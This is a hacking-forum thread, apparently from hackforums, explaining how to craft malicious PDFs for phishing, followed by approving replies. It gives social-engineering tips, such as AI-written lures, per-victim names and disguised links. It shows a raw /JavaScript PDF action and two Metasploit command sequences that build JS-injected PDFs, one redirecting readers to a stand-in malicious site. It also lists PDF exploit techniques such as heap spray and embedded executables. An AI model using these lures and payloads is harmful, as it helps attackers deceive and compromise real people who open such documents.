• They use social engineering levers, such as :
  

• Nowadays, hackers use ChatGPT to make well written texts
  
• Use real links / images
  
• Use dedicated name for each victim
  
• Embed malicious links in what looks like legit links (see the screenshot and the URL)
  

• PyPDF2 : https://pypi.org/project/PyPDF2/
  
• PyMuPDF : https://pypi.org/project/PyMuPDF/
  
• PdfRW : https://github.com/pmaupin/pdfrw
  

• PDFtk - The PDF Toolkit : https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/ (the free version doesn't allow you to do a lot of things, take a look at the paid version which is 3.99$)
  

• Use any text editor and add some /Types such as /Action, here is an example :
  
  Code

  <<
  /Type /Action
  /S /JavaScript
  /JS (app.alert('You've been hacked !'))
>>

• Metasploit, pop-up :
  
  Code

  use auxiliary/fileformat/adobe_pdf_embedded_js #select the exploit
set JAVASCRIPT "app.alert('This is a test JavaScript injection');" #define the Javascript
set OUTPUTFILE js_injected.pdf #define the output file
exploit #generate the PDF file
  
  
• Metasploit, redirection link :
  
  Code

  use auxiliary/fileformat/adobe_pdf_embedded_js #select the exploit
set JAVASCRIPT "app.launchURL('https://malicious-website.com', true);" #define the Javascript
set OUTPUTFILE redirect.pdf #define the output file
exploit #generate the PDF file

• Corrupted font (vulnerabilities in how PDF readers handle embedded fonts)
  
• Overflow form (improperly handled or excessive data in form fields within the PDF)
  
• Embedded executable files (files are attached with /FileSpec and might be executed with /JavaScript, /Launch, or /OpenAction), but from what I've read it's deprecated)
  
• Buffer Overflow (vulnerabilities in how PDF readers handle overly long strings or malformed objects)
  
• Heap Spray (using JavaScript to allocate memory in a way that enables arbitrary code execution)
  
• XFA forms (targeting XML Form Architecture (XFA) forms for privilege escalation or code execution)
  
• Annotation Exploits (using malformed annotations to cause crashes or code execution)
  

(Dec 3, 2024 09:50 AM)Chinggist Wrote:  Great and informative thread.

(Dec 3, 2024 10:33 AM)DemoTester Wrote:  Love the Thread!! Very informative.

(Dec 4, 2024 11:41 AM)bagsandtagsss777 Wrote:  yes likelwise very interesting thread

(Dec 16, 2024 09:38 PM)mr-xs Wrote:  Exelent 😁
Thank you, it will be very useful to me

(Dec 17, 2024 12:06 AM)Tegroid Wrote:  This really the most googled topic. Thanks for it.

(Dec 16, 2024 09:48 PM)Lowkey Wrote:  I promise to only use this information for good.

(Dec 30, 2024 01:28 AM)pinkfan Wrote:  I saw this topic accidently and how lucky I am. tnx bro

(Dec 30, 2024 05:40 PM)carl2003 Wrote:  es interesante como los hacker usan la ing social para infectar a las persona

(Jan 6, 2025 02:41 PM)Mexicano Wrote:  Very nice and well structured explanation with which even begginers can have an insight of what it looks like.

As well guess that Python/Bash/Powershell scirpting seems to be a must if you are doing whaterver IT work in the industry, since it is crucial in automating tasks and making your life easier.

Very good thread.

(Jan 6, 2025 07:57 PM)Bastille Wrote:  Thanks for your post ! And you're right, depending on your job one of them might be more important than the others, but basically they allow you to expend your capacities (such as automating tasks) and it's always good skills to get. Besides, with ChatGPT, it's even easier (but don't rely 100% on it).

You're welcome ! If you're looking for a tutorial and you don't find it with the search feature, feel free to submit a request here (as long as it doesn't go against the rules of the forum) : https://hackforums.net/showthread.php?tid=6282713